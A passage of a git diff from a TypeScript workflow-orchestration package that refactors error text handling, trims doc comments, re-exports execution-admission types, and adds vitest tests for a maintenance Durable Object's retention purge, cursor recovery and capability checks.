-              // still containing it so it can't reject the whole Promise.all.
-              console.error(
-                JSON.stringify({
-                  type: 'stream-publish-error',
-                  reason:
-                    error instanceof Error ? error.message : String(error),
-                }),
-              );
-            }),
+            Promise.resolve()
+              .then(() => options.stream?.(event))
+              .catch((error: unknown) => {
+                failures.push(`stream-publish: ${hostErrorText(error)}`);
+                console.error(
+                  JSON.stringify({
+                    type: 'stream-publish-error',
+                    reason: hostErrorText(error, true),
+                  }),
+                );
+              }),
           );
         },
         onEscalation: (record) =>
@@ -339,7 +337,8 @@ export async function runSlaSweepMaintenance(
       })
     ).length;
   } catch (error) {
-    failures.push(String(error));
+    const failure = hostErrorText(error);
+    failures.push(failure);
     console.error(
       JSON.stringify({
         type: 'maintenance-error',
@@ -348,7 +347,7 @@ export async function runSlaSweepMaintenance(
           : {}),
         surface: 'sla-sweep',
         trigger: options.trigger,
-        error: String(error),
+        error: failure,
       }),
     );
   }
@@ -391,7 +390,7 @@ export function reconcileApprovalsOnStatusDetached(
             type: 'reconcile-error',
             workflowId,
             runId: summary.runId,
-            error: error instanceof Error ? error.message : String(error),
+            error: hostErrorText(error, true),
           }),
         ),
       ),
@@ -415,20 +414,7 @@ export interface ApprovalRetentionPurgeOptions {
   trigger: string;
 }
 
-/**
- * The maintenance-owned approval-retention purge, previously hand-copied verbatim
- * by the hosts (deploy/worker.ts and the showcase worker): purgeExpiredApprovals
- * over the deployment store, the APPROVAL_RETENTION_DAYS var parsing
- * (allowZero: a 0-day retention purges decided approvals immediately, the
- * same convention RUN_RETENTION_DAYS uses), and containment — a purge
- * failure logs a maintenance-error and returns an explicit failed outcome
- * instead of throwing, so it never aborts a caller's other duties or gets
- * mistaken for a successful purge. Unlike
- * runSlaSweepMaintenance, this does NOT log its own "maintenance" summary
- * line: both hosts fold the returned count into ONE combined purge log
- * alongside their other maintenance duties, so logging it here too would
- * double-log.
- */
+/** Contains approval-retention failures so sibling maintenance can continue. */
 export async function runApprovalRetentionPurge(
   options: ApprovalRetentionPurgeOptions,
 ): Promise<MaintenanceOutcome<number>> {
@@ -449,7 +435,7 @@ export async function runApprovalRetentionPurge(
       }),
     };
   } catch (error) {
-    const failure = String(error);
+    const failure = hostErrorText(error).slice(0, 256);
     console.error(
       JSON.stringify({
         type: 'maintenance-error',
diff --git a/packages/flowsafe/src/host-kit/index.ts b/packages/flowsafe/src/host-kit/index.ts
index 137e6d9b..4dcfa192 100644
--- a/packages/flowsafe/src/host-kit/index.ts
+++ b/packages/flowsafe/src/host-kit/index.ts
@@ -14,6 +14,53 @@
 // `@proofoftech/flowsafe/host-kit/module` — which only authors (who already
 // depend on breakwater for their connectors) need to reach for. See module.ts.
 
+export {
+  assertMutationEpoch,
+  type D1RunExecutionIdentity,
+  type D1StartExecutionIdentity,
+  ExecutionFenceUnreadableError,
+  InvalidExecutionIdentityError,
+  InvalidMutationEpochError,
+  isRunStartPendingError,
+  MUTATION_EPOCH_HEADER,
+  type MutationEpochContext,
+  MutationEpochMismatchError,
+  mutationEpochFromHeader,
+  normalizeD1RunExecutionIdentity,
+  normalizeMutationEpoch,
+  normalizeRunExecutionIdentity,
+  normalizeStartExecutionIdentity,
+  normalizeStartIdentity,
+  type ProofEntryExpectation,
+  type RunAdmissionConflictClassification,
+  RunAdmissionConflictError,
+  type RunExecutionIdentity,
+  RunStartPendingError,
+  type StartExecutionIdentity,
+  type StartIdentity,
+  stampMutationEpoch,
+} from '../do-runner/execution-admission.js';
+export {
+  type ExecutionFenceReading,
+  type ExecutionFenceTransition,
+  type ExecutionFenceVersionedReading,
+  executionFenceReadingPayload,
+} from '../do-runner/execution-fence.js';
+export {
+  FENCED_WORKFLOW_STORAGE,
+  type FencedWorkflowAdmissionCapability,
+  type InitialAdmissionDatabase,
+  type InitialAdmissionWitness,
+  type InitialRunAdmission,
+  type InitialTerminalizationRequest,
+  type InitialTerminalizationResult,
+} from '../do-runner/fenced-workflow-capability.js';
+export { isDefinitiveInitialAdmissionRefusal } from '../do-runner/initial-admission-refusal.js';
+export type { RunTerminalCleanup } from '../do-runner/run-lifecycle.js';
+export type {
+  D1RunAddress,
+  RawWorkflowSnapshot,
+} from '../do-runner/workflow-snapshot-row.js';
 export {
   type BoundedBodyResult,
   readBoundedBody,
@@ -52,6 +99,7 @@ export type {
   MaintenanceDutyContext,
   MaintenanceHealth,
   MaintenanceNamespaceLike,
+  MaintenancePurgeDutyContext,
   MaintenanceStorage,
   MaintenanceStorageTransaction,
   MaintenanceStubLike,
diff --git a/packages/flowsafe/src/host-kit/maintenance-do.test.ts b/packages/flowsafe/src/host-kit/maintenance-do.test.ts
index 0ab6d351..494c025a 100644
--- a/packages/flowsafe/src/host-kit/maintenance-do.test.ts
+++ b/packages/flowsafe/src/host-kit/maintenance-do.test.ts
@@ -2,7 +2,14 @@
 
 import { afterEach, describe, expect, it, vi } from 'vitest';
 import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
-import { deploymentIdentityHeaders } from '../do-runner/index.js';
+import {
+  deploymentIdentityHeaders,
+  type RunRetentionCursor,
+} from '../do-runner/index.js';
+import {
+  START_IDEMPOTENCY_DDL,
+  START_IDEMPOTENCY_TABLE,
+} from '../do-runner/start-reservation-contract.js';
 import {
   createFlowsafeMaintenanceDurableObject,
   type FlowsafeWorkerConfig,
@@ -22,6 +29,7 @@ import { staticTokenVerifier } from './verifier.js';
 const NOW = Date.parse('2026-08-10T12:00:00.000Z');
 const DEPLOYMENT_SECRET = 'test-deployment-identity-secret-0001';
 const MAINTENANCE_SECRET = 'test-maintenance-capability-secret-0001';
+const RETENTION_CURSOR_KEY = 'flowsafe:maintenance-run-retention-cursor:v1';
 const CAPABILITY_PRIVATE_KEY = {
   kty: 'OKP',
   crv: 'Ed25519',
@@ -72,6 +80,8 @@ class FakeStorage {
   readonly values = new Map<string, unknown>();
   alarmAt: number | null = null;
   failTransactionNumber?: number;
+  failPutKey?: string;
+  losePutResponseKey?: string;
   transactionCount = 0;
 
   async get<T>(key: string): Promise<T | undefined> {
@@ -116,11 +126,20 @@ class FakeStorage {
         nextAlarm = Number(value);
       },
     });
-    if (this.failTransactionNumber === transactionNumber) {
+    if (
+      this.failTransactionNumber === transactionNumber ||
+      (this.failPutKey !== undefined && writes.has(this.failPutKey))
+    ) {
       throw new Error('simulated crash after duty');
     }
     for (const [key, value] of writes) this.values.set(key, value);
     this.alarmAt = nextAlarm;
+    if (
+      this.losePutResponseKey !== undefined &&
+      writes.has(this.losePutResponseKey)
+    ) {
+      throw new Error('simulated storage response loss');
+    }
     return result;
   }
 }
@@ -132,6 +151,7 @@ function harness(
     withTick?: boolean;
     throwTick?: boolean;
     deadlineLimit?: number;
+    config?: Partial<FlowsafeWorkerConfig<TestEnv>>;
   } = {},
 ) {
   const env = environment();
@@ -171,6 +191,7 @@ function harness(
           },
         }
       : {}),
+    ...options.config,
   } satisfies FlowsafeWorkerConfig<TestEnv>;
   const Maintenance = createFlowsafeMaintenanceDurableObject(config);
   const state = {
@@ -183,7 +204,111 @@ function harness(
       method,
       headers: deploymentIdentityHeaders(DEPLOYMENT_SECRET),
     });
-  return { env, instance, storage, internalRequest };
+  const reconstruct = (
+    overrides: Partial<FlowsafeWorkerConfig<TestEnv>> = {},
+  ) => {
+    const Reconstructed = createFlowsafeMaintenanceDurableObject({
+      ...config,
+      ...overrides,
+    });
+    return new Reconstructed(state, env);
+  };
+  return { env, instance, storage, internalRequest, reconstruct };
+}
+
+async function createRetentionSnapshots(
+  env: TestEnv,
+  prefix = '',
+): Promise<void> {
+  await env.DB.prepare(
+    `CREATE TABLE ${prefix}mastra_workflow_snapshot (
+      workflow_name TEXT NOT NULL,
+      run_id TEXT NOT NULL,
+      resourceId TEXT,
+      snapshot TEXT NOT NULL,
+      createdAt TEXT NOT NULL,
+      updatedAt TEXT NOT NULL,
+      UNIQUE(workflow_name, run_id)
+    )`,
+  ).run();
+}
+
+async function insertRetentionSnapshot(
+  env: TestEnv,
+  runId: string,
+  prefix = '',
+): Promise<void> {
+  const old = new Date(NOW - 90 * 86_400_000).toISOString();
+  await env.DB.prepare(
+    `INSERT INTO ${prefix}mastra_workflow_snapshot
+     (workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt)
+     VALUES ('wf', ?, NULL, ?, ?, ?)`,
+  )
+    .bind(
+      runId,
+      JSON.stringify({
+        status: 'success',
+        requestContext: {
+          'flowsafe.runProvenance': {
+            version: 2,
+            startToken: `start-${runId}`,
+          },
+        },
+      }),
+      old,
+      old,
+    )
+    .run();
+}
+
+async function insertRetentionReservation(
+  env: TestEnv,
+  key: string,
+  state = 'terminal',
+): Promise<void> {
+  await env.DB.prepare(
+    `INSERT INTO ${START_IDEMPOTENCY_TABLE}
+     (key, owner_kind, owner_id, target_kind, target_id, run_id,
+      thread_id, state, created_at, updated_at,
+      start_token, start_table_prefix, start_workflow_id)
+     VALUES (?, 'human', 'ada', 'workflow', 'wf', ?, NULL, ?, ?, ?, NULL, NULL, NULL)`,
+  )
+    .bind(
+      key,
+      `run-${key}`,
+      state,
+      NOW - 90 * 86_400_000,
+      NOW - 90 * 86_400_000,
+    )
+    .run();
+}
+
+async function snapshotIds(env: TestEnv, prefix = ''): Promise<string[]> {
+  const { results } = await env.DB.prepare(
+    `SELECT run_id FROM ${prefix}mastra_workflow_snapshot ORDER BY rowid`,
+  ).all<{ run_id: string }>();
+  return results.map((row) => row.run_id);
+}
+
+async function reservationKeys(env: TestEnv): Promise<string[]> {
+  const { results } = await env.DB.prepare(
+    `SELECT key FROM ${START_IDEMPOTENCY_TABLE} ORDER BY rowid`,
+  ).all<{ key: string }>();
+  return results.map((row) => row.key);
+}
+
+async function nextPurge(
+  instance: ReturnType<typeof harness>['instance'],
+  internalRequest: ReturnType<typeof harness>['internalRequest'],
+): Promise<MaintenanceHealth & { alarmAt: number | null }> {
+  const before = await healthOf(instance, internalRequest('/status', 'GET'));
+  vi.setSystemTime(before.nextPurgeAt);
+  await instance.alarm();
+  await instance.alarm();
+  await instance.alarm();
+  const after = await healthOf(instance, internalRequest('/status', 'GET'));
+  expect(after.lastPurgeAttemptAt).toBe(before.nextPurgeAt);
+  return after;
 }
 
 async function healthOf(
@@ -203,7 +328,396 @@ afterEach(() => {
 });
 
 describe('alarm-driven deployment maintenance', () => {
-  it('consumes one-shot capabilities and signs a nonce-bound result', async () => {
+  it('reconstructs independent retention positions and finishes a finite cycle past artifact failures', async () => {
+    vi.useFakeTimers();
+    vi.setSystemTime(NOW);
+    vi.spyOn(console, 'log').mockImplementation(() => {});
+    vi.spyOn(console, 'error').mockImplementation(() => {});
+    const artifactCalls: string[] = [];
+    const { env, instance, storage, internalRequest, reconstruct } = harness({
+      config: {
+        artifactStore: () => ({
+          deleteRun: async (_workflowId, runId) => {
+            artifactCalls.push(runId);
+            if (runId.startsWith('poison-'))
+              throw new Error('artifact unavailable');
+            return 0;
+          },
+        }),
+      },
+    });
+    await createRetentionSnapshots(env);
+    await env.DB.prepare(START_IDEMPOTENCY_DDL).run();
+    const poisonIds = Array.from(
+      { length: 91 },
+      (_, index) => `poison-${index}`,
+    );
+    for (const runId of poisonIds) {
+      await insertRetentionSnapshot(env, runId);
+    }
+    const heldKeys = poisonIds.slice(0, 90);
+    for (const runId of heldKeys) {
+      await insertRetentionReservation(env, runId, 'started');
+    }
+    await insertRetentionSnapshot(env, 'eligible');
+    await insertRetentionReservation(env, 'eligible-orphan');
+    await instance.fetch(internalRequest('/ensure', 'POST'));
+
+    await nextPurge(instance, internalRequest);
+
+    expect(await storage.get(RETENTION_CURSOR_KEY)).toEqual({
+      version: 1,
+      tablePrefix: '',
+      startIdempotencyTable: START_IDEMPOTENCY_TABLE,
+      snapshots: { afterRowId: 90, highWaterRowId: 92 },
+      reservations: { afterRowId: 90, highWaterRowId: 91 },
+    });
+    expect(artifactCalls).toEqual(poisonIds.slice(0, 90));
+    expect(await snapshotIds(env)).toEqual([...poisonIds, 'eligible']);
+    expect(await reservationKeys(env)).toContain('eligible-orphan');
+
+    await insertRetentionSnapshot(env, 'late');
+    await insertRetentionReservation(env, 'late-orphan');
+    artifactCalls.length = 0;
+    const second = reconstruct();
+    const secondHealth = await nextPurge(second, internalRequest);
+
+    expect(artifactCalls).toEqual(['poison-90', 'eligible']);
+    expect(await snapshotIds(env)).toEqual([...poisonIds, 'late']);
+    expect(await reservationKeys(env)).toEqual([...heldKeys, 'late-orphan']);
+    expect(await storage.get(RETENTION_CURSOR_KEY)).toEqual({
+      version: 1,
+      tablePrefix: '',
+      startIdempotencyTable: START_IDEMPOTENCY_TABLE,
+    });
+    expect(secondHealth.alarmAt).toBeGreaterThan(
+      secondHealth.lastPurgeAttemptAt ?? 0,
+    );
+
+    const recoveredArtifacts: string[] = [];
+    const third = reconstruct({
+      artifactStore: () => ({
+        deleteRun: async (_workflowId, runId) => {
+          recoveredArtifacts.push(runId);
+          return 0;
+        },
+      }),
+    });
+    await nextPurge(third, internalRequest);
+    expect(recoveredArtifacts).toEqual(poisonIds.slice(0, 90));
+    const fourth = reconstruct({
+      artifactStore: () => ({ deleteRun: async () => 0 }),
+    });
+    await nextPurge(fourth, internalRequest);
+    expect(await snapshotIds(env)).toEqual([]);
+    expect(await reservationKeys(env)).toEqual(heldKeys);
+  });
+
+  it.each([
+    { tablePrefix: 'retired_', startIdempotencyTable: START_IDEMPOTENCY_TABLE },
+    { tablePrefix: 'tenant_', startIdempotencyTable: 'retired_reservations' },
+    { tablePrefix: 'tenant_' },
+  ])('resets a valid stored scope when configuration changes: %j', async (scope) => {
+    vi.useFakeTimers();
+    vi.setSystemTime(NOW);
+    vi.spyOn(console, 'log').mockImplementation(() => {});
+    vi.spyOn(console, 'error').mockImplementation(() => {});
+    const { env, instance, storage, internalRequest, reconstruct } = harness();
+    await createRetentionSnapshots(env, 'tenant_');
+    await createRetentionSnapshots(env, 'retired_');
+    await insertRetentionSnapshot(env, 'eligible', 'tenant_');
+    await insertRetentionSnapshot(env, 'other-scope', 'retired_');
+    await instance.fetch(internalRequest('/ensure', 'POST'));
+    await storage.put(RETENTION_CURSOR_KEY, {
+      version: 1,
+      ...scope,
+      snapshots: { afterRowId: 100, highWaterRowId: 200 },
+    });
+
+    const changed = reconstruct({ storageTablePrefix: 'TeNaNt_' });
+    const health = await nextPurge(changed, internalRequest);
+
+    expect(health.lastPurgeError).toBeUndefined();
+    expect(await snapshotIds(env, 'tenant_')).toEqual([]);
+    expect(await snapshotIds(env, 'retired_')).toEqual(['other-scope']);
+    expect(await storage.get(RETENTION_CURSOR_KEY)).toEqual({
+      version: 1,
+      tablePrefix: 'tenant_',
+      startIdempotencyTable: START_IDEMPOTENCY_TABLE,
+    });
+  });
+
+  it('preserves a matching canonical scope across reconstruction', async () => {
+    vi.useFakeTimers();
+    vi.setSystemTime(NOW);
+    vi.spyOn(console, 'log').mockImplementation(() => {});
+    vi.spyOn(console, 'error').mockImplementation(() => {});
+    const { env, instance, storage, internalRequest, reconstruct } = harness();
+    await createRetentionSnapshots(env, 'tenant_');
+    await insertRetentionSnapshot(env, 'already-scanned', 'tenant_');
+    await insertRetentionSnapshot(env, 'eligible', 'tenant_');
+    await instance.fetch(internalRequest('/ensure', 'POST'));
+    await storage.put(RETENTION_CURSOR_KEY, {
+      version: 1,
+      tablePrefix: 'tenant_',
+      startIdempotencyTable: START_IDEMPOTENCY_TABLE,
+      snapshots: { afterRowId: 1, highWaterRowId: 2 },
+    });
+
+    await nextPurge(
+      reconstruct({ storageTablePrefix: 'TeNaNt_' }),
+      internalRequest,
+    );
+
+    expect(await snapshotIds(env, 'tenant_')).toEqual(['already-scanned']);
+    expect(
+      await storage.get<RunRetentionCursor>(RETENTION_CURSOR_KEY),
+    ).not.toHaveProperty('snapshots');
+  });
+
+  it.each([
+    null,
+    false,
+    0,
+    '',
+    [],
+    {},
+    { version: 2, tablePrefix: '' },
+    { version: 1, tablePrefix: '', snapshots: null },
+    {
+      version: 1,
+      tablePrefix: '',
+      snapshots: { afterRowId: 2, highWaterRowId: 1 },
+    },
+    {
+      version: 1,
+      tablePrefix: 'retired_',
+      snapshots: { afterRowId: 0.5, highWaterRowId: 2 },
+    },
+    {
+      version: 1,
+      tablePrefix: '',
+      reservations: { afterRowId: 1, highWaterRowId: 2 },
+    },
+  ])('refuses malformed stored retention state while preserving sibling duties: %j', async (stored) => {
+    vi.useFakeTimers();
+    vi.setSystemTime(NOW);
+    vi.spyOn(console, 'log').mockImplementation(() => {});
+    vi.spyOn(console, 'error').mockImplementation(() => {});
+    const artifactStore = vi.fn(() => ({ deleteRun: async () => 0 }));
+    const extraPurgeDuties = vi.fn(async () => ({ extra: true }));
+    const { env, instance, storage, internalRequest } = harness({
+      config: { artifactStore, extraPurgeDuties },
+    });
+    await createRetentionSnapshots(env);
+    await insertRetentionSnapshot(env, 'eligible');
+    await instance.fetch(internalRequest('/ensure', 'POST'));
+    await storage.put(RETENTION_CURSOR_KEY, stored);
+
+    const health = await nextPurge(instance, internalRequest);
+
+    expect(health.lastPurgeAt).toBeUndefined();
+    expect(health.lastPurgeError).toContain('retention-purge');
+    expect(health.lastSweepAt).toBe(NOW);
+    expect(health.lastDeadlineAt).toBe(NOW);
+    expect(health.alarmAt).toBeGreaterThan(NOW);
+    expect(artifactStore).not.toHaveBeenCalled();
+    expect(extraPurgeDuties).toHaveBeenCalledOnce();
+    expect(await snapshotIds(env)).toEqual(['eligible']);
+    expect(await storage.get(RETENTION_CURSOR_KEY)).toEqual(stored);
+    expect(
+      await env.DB.prepare(
+        "SELECT name FROM sqlite_schema WHERE name = 'flowsafe_resource_owners'",
+      ).all(),
+    ).toMatchObject({ results: [] });
+  });
+
+  it.each([
+    'rollback',
+    'response loss',
+  ] as const)('stops orphan retention after cursor persistence %s and safely resumes in a new instance', async (failure) => {
+    vi.useFakeTimers();
+    vi.setSystemTime(NOW);
+    vi.spyOn(console, 'log').mockImplementation(() => {});
+    vi.spyOn(console, 'error').mockImplementation(() => {});
+    const artifactCalls: string[] = [];
+    const extraPurgeDuties = vi.fn(async () => ({ extra: true }));
+    const { env, instance, storage, internalRequest, reconstruct } = harness({
+      config: {
+        extraPurgeDuties,
+        artifactStore: () => ({
+          deleteRun: async (_workflowId, runId) => {
+            artifactCalls.push(runId);
+            expect(storage.events.slice(-2)).toEqual([
+              'transaction-put',
+              'transaction-alarm',
+            ]);
+            expect(storage.alarmAt).toBeGreaterThan(NOW);
+            return 0;
+          },
+        }),
+      },
+    });
+    await createRetentionSnapshots(env);
+    await insertRetentionSnapshot(env, 'eligible');
+    await env.DB.prepare(START_IDEMPOTENCY_DDL).run();
+    await insertRetentionReservation(env, 'orphan');
+    const deadlineCursor = {
+      workflowId: 'wf',
+      runId: 'previous',
+      deadlineAt: NOW - 1,
+    };
+    await storage.put(
+      'flowsafe:maintenance-deadline-cursor:v1',
+      deadlineCursor,
+    );
+    await instance.fetch(internalRequest('/ensure', 'POST'));
+    if (failure === 'rollback') storage.failPutKey = RETENTION_CURSOR_KEY;
+    else storage.losePutResponseKey = RETENTION_CURSOR_KEY;
+
+    const health = await nextPurge(instance, internalRequest);
+
+    expect(health.lastPurgeError).toContain('retention-purge');
+    expect(health.lastPurgeAt).toBeUndefined();
+    expect(health.alarmAt).toBeGreaterThan(NOW);
+    expect(artifactCalls).toEqual(['eligible']);
+    expect(await snapshotIds(env)).toEqual([]);
+    expect(await reservationKeys(env)).toEqual(['orphan']);
+    expect(extraPurgeDuties).toHaveBeenCalledOnce();
+    expect(
+      await storage.get('flowsafe:maintenance-deadline-cursor:v1'),
+    ).toEqual(deadlineCursor);
+    const cursor = await storage.get(RETENTION_CURSOR_KEY);
+    if (failure === 'rollback') expect(cursor).toBeUndefined();
+    else
+      expect(cursor).toEqual({
+        version: 1,
+        tablePrefix: '',
+        startIdempotencyTable: START_IDEMPOTENCY_TABLE,
+      });
+
+    storage.failPutKey = undefined;
+    storage.losePutResponseKey = undefined;
+    const recovered = await nextPurge(reconstruct(), internalRequest);
+    expect(recovered.lastPurgeError).toBeUndefined();
+    expect(recovered.lastPurgeAt).toBe(NOW + 60 * 60 * 1_000);
+    expect(await reservationKeys(env)).toEqual([]);
+    expect(artifactCalls).toEqual(['eligible']);
+    expect(extraPurgeDuties).toHaveBeenCalledTimes(2);
+  });
+
+  it('does not checkpoint a committed D1 mutation with a lost response and retries safely after reconstruction', async () => {
+    vi.useFakeTimers();
+    vi.setSystemTime(NOW);
+    vi.spyOn(console, 'log').mockImplementation(() => {});
+    vi.spyOn(console, 'error').mockImplementation(() => {});
+    let retentionBatch = false;
+    const extraPurgeDuties = vi.fn(async () => ({ extra: true }));
+    const { env, instance, storage, internalRequest, reconstruct } = harness({
+      config: {
+        extraPurgeDuties,
+        artifactStore: () => ({
+          deleteRun: async () => {
+            retentionBatch = true;
+            return 0;
+          },
+        }),
+      },
+    });
+    await createRetentionSnapshots(env);
+    await insertRetentionSnapshot(env, 'eligible');
+    await env.DB.prepare(START_IDEMPOTENCY_DDL).run();
+    await insertRetentionReservation(env, 'orphan');
+    const db = env.DB;
+    const batch = db.batch?.bind(db);
+    if (!batch) throw new Error('SQLite fixture requires batch');
+    env.DB = {
+      prepare: db.prepare.bind(db),
+      batch: async (statements) => {
+        const results = await batch(statements);
+        if (retentionBatch) {
+          retentionBatch = false;
+          throw new Error('D1 response lost after commit');
+        }
+        return results;
+      },
+    };
+    await instance.fetch(internalRequest('/ensure', 'POST'));
+
+    const health = await nextPurge(instance, internalRequest);
+
+    expect(health.lastPurgeError).toContain('D1 response lost after commit');
+    expect(health.lastPurgeAt).toBeUndefined();
+    expect(await storage.get(RETENTION_CURSOR_KEY)).toBeUndefined();
+    expect(await snapshotIds(env)).toEqual([]);
+    expect(await reservationKeys(env)).toEqual(['orphan']);
+    expect(extraPurgeDuties).toHaveBeenCalledOnce();
+    expect(health.alarmAt).toBeGreaterThan(NOW);
+
+    const recovered = await nextPurge(reconstruct(), internalRequest);
+    expect(recovered.lastPurgeError).toBeUndefined();
+    expect(await reservationKeys(env)).toEqual([]);
+    expect(await storage.get(RETENTION_CURSOR_KEY)).toEqual({
+      version: 1,
+      tablePrefix: '',
+      startIdempotencyTable: START_IDEMPOTENCY_TABLE,
+    });
+  });
+
+  it.each([
+    'script',
+    'digest',
+  ] as const)('rejects a capability for another catalog %s before maintenance work', async (changed) => {
+    vi.useFakeTimers();
+    vi.setSystemTime(NOW);
+    for (const operation of [
+      'ensure-maintenance',
+      'maintenance-status',
+    ] as const) {
+      const { env, instance, storage } = harness();
+      env.MAINTENANCE_ADMIN_SECRET = MAINTENANCE_SECRET;
+      env.FLEET_MAINTENANCE_CAPABILITIES = 'required';
+      env.FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY = JSON.stringify(
+        CAPABILITY_PUBLIC_KEY,
+      );
+      Object.assign(env, {
+        FLEET_RESOURCE_ROLE: 'platform-catalog',
+        FLEET_DEPLOYMENT_SCRIPT: 'acme-catalog',
+        FLEET_SPEC_DIGEST: 'a'.repeat(64),
+      });
+      const minted = await mintAsymmetricMaintenanceCapability({
+        privateKey: CAPABILITY_PRIVATE_KEY,
+        operation,
+        tenantTag: 'acme',
+        environment: 'production',
+        scriptName: changed === 'script' ? 'other-catalog' : 'acme-catalog',
+        specDigest: changed === 'digest' ? 'b'.repeat(64) : 'a'.repeat(64),
+        now: () => NOW,
+      });
+      const response = await instance.fetch(
+        new Request(
+          operation === 'ensure-maintenance'
+            ? 'http://maintenance/ensure'
+            : 'http://maintenance/status',
+          {
+            method: operation === 'ensure-maintenance' ? 'POST' : 'GET',
+            headers: { authorization: `Bearer ${minted.token}` },
+          },
+        ),
+      );
+      expect(response.status).toBe(401);
+      expect(response.headers.get(MAINTENANCE_RECEIPT_HEADER)).toBeNull();
+      expect(
+        await storage.get('flowsafe:maintenance-nonces:v1'),
+      ).toBeUndefined();
+      expect(storage.alarmAt).toBeNull();
+    }
+  });
+
+  it.each([
+    false,
+    true,
+  ])('consumes one-shot capabilities and signs a nonce-bound result (local catalog: %s)', async (catalog) => {
     vi.useFakeTimers();
     vi.setSystemTime(NOW);
     const { env, instance } = harness();
@@ -212,6 +726,12 @@ describe('alarm-driven deployment maintenance', () => {
     env.FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY = JSON.stringify(
       CAPABILITY_PUBLIC_KEY,
     );
+    if (catalog)
+      Object.assign(env, {
+        FLEET_RESOURCE_ROLE: 'platform-catalog',
+        FLEET_DEPLOYMENT_SCRIPT: 'acme-release-a1b2',
+        FLEET_SPEC_DIGEST: 'a'.repeat(64),
+      });
     const minted = await mintAsymmetricMaintenanceCapability({
       privateKey: CAPABILITY_PRIVATE_KEY,
       operation: 'ensure-maintenance',
@@ -387,7 +907,8 @@ describe('alarm-driven deployment maintenance', () => {
           resourceId TEXT,
           snapshot TEXT NOT NULL,
           createdAt TEXT NOT NULL,
-          updatedAt TEXT NOT NULL
+          updatedAt TEXT NOT NULL,
+          UNIQUE(workflow_name, run_id)
         )`,
       )
       .run();
diff --git a/packages/flowsafe/src/host-kit/run-route-error.ts b/packages/flowsafe/src/host-kit/run-route-error.ts
index d634e49c..0bdde2f6 100644
--- a/packages/flowsafe/src/host-kit/run-route-error.ts
+++ b/packages/flowsafe/src/host-kit/run-route-error.ts
@@ -1,17 +1,9 @@
 // SPDX-License-Identifier: Apache-2.0
-// Shared vocabulary between the DO-response reader and the run router: an error
-// that already knows the HTTP status it should surface as.
-//
-// Its own leaf because both sides need it and neither should depend on the
-// other — `doSummary` (do-response.ts) throws it, `createRunRouter`
-// (run-router.ts) catches it. Homing it in the router would make the primitive
-// depend on the composite.
+// This leaf keeps the Durable Object response reader independent of the router.
 
 /**
- * A transport failure from a host's run-lifecycle thunk, carrying the
- * status to surface. Hosts that reach their runs through a Durable Object stub
- * get this from `doSummary`: the DO already mapped the runtime's typed errors to
- * 404/409/400, so that status must survive rather than collapse into a 500.
+ * A host-authored HTTP refusal. The message and reason are forwarded to callers;
+ * hosts must supply caller-safe, JSON-compatible values.
  */
 export class RunRouteError extends Error {
   readonly status: number;
@@ -26,19 +18,7 @@ export class RunRouteError extends Error {
 }
 
 /**
- * The Durable Object's own structured refusal, if this error carries one.
- *
- * The taxonomy's rule is that a `reason` is a SCREAMING_SNAKE code the DO
- * deliberately published (do-error-response.ts), and every router that fronts a
- * DO must pass one through with its status intact. Without this, a router that
- * collapses 5xx to a bare 500 — the shape agent-host/router.ts and
- * stream-router.ts both had — turns "this deployment is fenced, retry after the
- * migration" into "I am broken", and the caller cannot tell a retryable
- * operational state from a code fault.
- *
- * Narrow on purpose: only a plain object with a string `code` qualifies, so an
- * upstream body that happened to carry a `reason` field of some other shape
- * cannot widen what a 5xx surfaces.
+ * Preserve a published operational refusal across HTTP transports.
  */
 export function runRouteReason(
   error: RunRouteError,
diff --git a/packages/flowsafe/src/host-kit/run-router.test.ts b/packages/flowsafe/src/host-kit/run-router.test.ts
index 0955bb53..a155f367 100644
--- a/packages/flowsafe/src/host-kit/run-router.test.ts
+++ b/packages/flowsafe/src/host-kit/run-router.test.ts
@@ -1,30 +1,36 @@
 // SPDX-License-Identifier: Apache-2.0
-// Unit coverage for the run surface every host mounts: the authorization ORDER
-// (401 -> coarse RUN_START_ROLES -> per-workflow allowedRoles), the catalog, the
-// start/status/resume/terminate routes and their error mapping, the suspension bridge's
-// attribution (the starting actor becomes requestedBy, so they cannot decide
-// their own run), and the reconcileApprovals self-healing hook on status
-// reads.
-//
-// Driven with real InMemoryApprovalStore + ApprovalService (no mocks) and
-// fixture WorkflowMetas — depending on the showcase's modules here would invert
-// the layering (showcase imports host-kit, not the reverse).
+// Showcase modules depend on host-kit, so these fixtures remain independent.
 
+import { InMemoryStore } from '@mastra/core/storage';
+import {
+  type ConnectorConfig,
+  createConnector,
+  invokeConnector,
+} from '@proofoftech/breakwater';
 import { describe, expect, it, vi } from 'vitest';
+import { z } from 'zod';
 
+import { TEST_DEPLOYMENT_IDENTITY_SECRET } from '../../test-support/deployment-identity.js';
 import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
 import {
+  type ActorContext,
   type ApprovalActor,
   ApprovalService,
   type ApprovalStore,
   createActorResolver,
+  humanPrincipal,
   InMemoryApprovalStoreFactory,
   type SelfDecisionPolicy,
 } from '../approval-api/index.js';
+import { RESERVED_EXECUTION_CONTEXT_KEYS } from '../do-runner/execution-context.js';
 import {
+  doErrorResponse,
   ExecutionFencedError,
   type ExecutionFenceWiring,
+  InvalidMutationEpochError,
   InvalidRunRequestError,
+  init,
+  MutationEpochMismatchError,
   RunLifecycleBlockedError,
   RunNotSuspendedError,
   type RunSummary,
@@ -33,7 +39,9 @@ import {
   StartIdempotencyStore,
   UnknownRunError,
 } from '../do-runner/index.js';
+import { internalErrorResponse } from '../internal-error-response.js';
 import { reconcileApprovalsOnStatus } from './approval-bridge.js';
+import { createDoRunTopology } from './do-run-topology.js';
 import { RunRouteError } from './run-route-error.js';
 import { createRunRouter, type RunRouterOptions } from './run-router.js';
 import type { WorkflowMeta } from './workflow-meta.js';
@@ -83,6 +91,8 @@ function suspendedSummary(runId: string): RunSummary {
 }
 
 interface HarnessOptions {
+  transformContext?: (context: ActorContext) => ActorContext;
+  beforeStart?: RunRouterOptions['beforeStart'];
   start?: RunRouterOptions['start'];
   status?: (
     workflowId: string,
@@ -101,7 +111,18 @@ interface HarnessOptions {
    * which is what every earlier unkeyed-start case in this file wants: unkeyed
    * starts are unaffected; keyed starts on an unwired host refuse.
    */
-  startIdempotency?: RunRouterOptions['startIdempotency'];
+  startIdempotency?:
+    | 'none'
+    | (Omit<
+        Exclude<RunRouterOptions['startIdempotency'], 'none'>,
